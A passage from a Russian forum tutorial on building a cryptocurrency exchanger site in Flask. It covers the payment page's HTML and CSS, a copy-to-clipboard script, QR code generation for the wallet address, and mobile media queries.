<p>Адрес кошелька из базы данных: {{ wallet_address }}</p>
</body>
</html>
Теперь нужно настроить стили страницы, чтобы она выглядела как нормальный сайт. Для этого потребуется, как минимум, добавить все выводимые данные в div блок, а затем назначить стили в CSS файле, который мы создавали. Подробно на этом не останавливаясь, просто предоставлю готовый код ниже.
HTML:
<!DOCTYPE html>
<html lang="ru">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" href="{{ url_for('static', filename='payments.css') }}">
<title>Оплата</title>
</head>
<body>
<div class="payments_form">
<img class="logo" src="static/img/logo.png"/>
<div class="main_form">
<p>Сумма: {{ submitted_data.amount }} BTC</p>
<div class="wallet" onclick="copyToClipboard('{{ wallet_address }}')" title="Click to copy"><p class="text_info">Кошелек: {{ wallet_address[:15] ~ '...' }}</p></div>
</div>
</div>
<script>
function copyToClipboard(text) {
const el = document.createElement('textarea');
el.value = text;
document.body.appendChild(el);
el.select();
document.execCommand('copy');
document.body.removeChild(el);
alert('Copied to clipboard');
}
</script>
</body>
</html>
CSS:
/* Подключение кастомного шрифта */
@font-face {
font-family: 'Evolve'; /* Название кастомного шрифта */
src: url('fonts/Evolve.otf') format('truetype'); /* Путь к файлу шрифта */
}
body{
background: #2d3238;
color: white;
font-family: 'Evolve', sans-serif; /* Шрифт */
}
.payments_form{
width: 250px; /* Ширина блока */
height: 425px; /* Высота блока */
background: #383c42;
border-radius: 8px;
border: 1px solid #2d3238;
position: absolute; /* Позиционирование */
top: 50%; /* Расположение сверху */
left: 50%; /* Расположение слева */
transform: translate(-50%, -50%); /* Сдвиг блока на половину своей ширины и высоты */
text-align: center; /* Выравнивание текста по центру */
display: flex; /* Отображение как flex-контейнер */
align-items: center; /* Выравнивание элементов по центру */
box-shadow: 0px 0px 10px rgb(0 0 0 / 25%); /* Тень блока */
flex-direction: column; /* Направление элементов в колонку */
justify-content: center; /* Выравнивание контента по центру */
z-index: 2;
}
.logo{
width: 150px;
margin-bottom: 25px;
}
.main_form{
display: flex;
flex-direction: column;
align-items: flex-start;
background: #2d3238;
border-radius: 8px;
padding: 5px;
font-size: 14px;
width: 225px;
}
p{
margin: 5px
}
Генерация QR Code который будет хранить адрес кошелька
Теперь необходимо создать генерацию QR Code и выводить его на странице оплаты. Для этого создадим новый python файл с названием "qr_generate.py", сразу же устанавливаем pip install qrcode и вставляем код в наш python файл
Python:
import qrcode
import base64
import io
def qr_gen(text):
QRcode = qrcode.QRCode(
error_correction=qrcode.constants.ERROR_CORRECT_H
)
QRcode.add_data(text)
QRcode.make()
QRcolor = '#02c895'
QRimg = QRcode.make_image(
fill_color=QRcolor, back_color="#383c42").convert('RGB')
img_bytes = io.BytesIO()
QRimg.save(img_bytes, format='PNG')
img_base64 = base64.b64encode(img_bytes.getvalue()).decode('utf-8')
print('Генерация QR Code прошла успешно')
return img_base64
Теперь рассмотрим несколько строк из этого кода
- QRcolor: Это цвет QR кода
- fill_color: Это цвет заднего фона QR кода
- img_base64: Это конвертация QR кода в байты формата base64
- Первым делом перейдем в main.py и допишем в функцию submit_form строку для генерации QR кода с кошельком из базы данных:
Python:
qr_code_base64 = qr_gen(wallet_address) - Теперь дописываем передачу QR кода на страницу:
Python:
return render_template('payments.html', submitted_data=submitted_data, wallet_address=wallet_address, qr_code_base64=qr_code_base64) - Затем переходим в файл страницы оплаты и внутри div дописываем отображение:
HTML:
<img class="qr" src="data:image/png;base64, {{ qr_code_base64 }}" alt="QR Code">
Адаптация сайта под телефоны.
Для адаптации сайта под разные разрешения экрана существует множество различных способов, таких как Bootstrap, использование свойств min-width и max-width или медиа-запросы. Однако после испытания всех этих вариантов мне больше всего понравился подход через медиа-запросы. Давайте рассмотрим, как работать с медиа-запросами на примере страницы конвертера.
Заходим на страницу конвертера, нажимаем F12, затем включаем режим эмуляции устройства и выбираем устройство для эмуляции размера экрана.
Лично меня не устраивает то, что блок div, в котором находятся все элементы, такой узкий, поэтому сейчас будем это исправлять.
- Для начала зайдем в css файл этой страницы и введем это:
-
max-width: 415px означает, что когда ширина экрана будет 415 пикселей или меньше, то будут применяться новые стили к объектам.CSS:
@media only screen and (max-width: 415px){ } - Теперь нам нужно вписать в media only screen стили, которые хотим изменить. У нас это будут стили объекта с классом exchanger_form (div, в котором находятся поля ввода) — а именно, ширину. Вот как это будет выглядеть в коде:
Теперь, если мы через f12 посмотрим на стили нашего объекта то увидим что основной размер ширины зачеркнут а за место него активен тот что мы указали в медиа запросеCSS:@media only screen and (max-width: 415px){ .exchanger_form{ width: 325px; } }
Python:
@media only screen and (max-width: 415px){
.exchanger_form{
width: 325px;
height: 525px;
}
.logo {
width: 200px;
}
label {
font-size: 20px;
}
select {
font-size: 17px;
width: 285px;
height: 30px;
}
input {
font-size: 17px;
width: 276px;
height: 24px;
}
button {
width: 285px;
height: 30px;
margin-top: 15px;
font-size: 20px;
}
}
Заключение.
На этом моя статья подходит к концу. Материала получилось больше, чем я ожидал. Я попытался сделать его как можно более компактным и вырезал несколько тысяч символов, но при этом постарался оставить все шаги в разработке, от создания проекта до конечного результата.
Цель этой статьи была в том, чтобы показать, как реализуются подобного рода проекты. Это, конечно, не законченный проект, а лишь учебный материал, чтобы вы могли на его основе создать свой собственный проект.
Статья написана CognitoInc специально для форума xss.pro
Вложения
Последнее редактирование модератором:
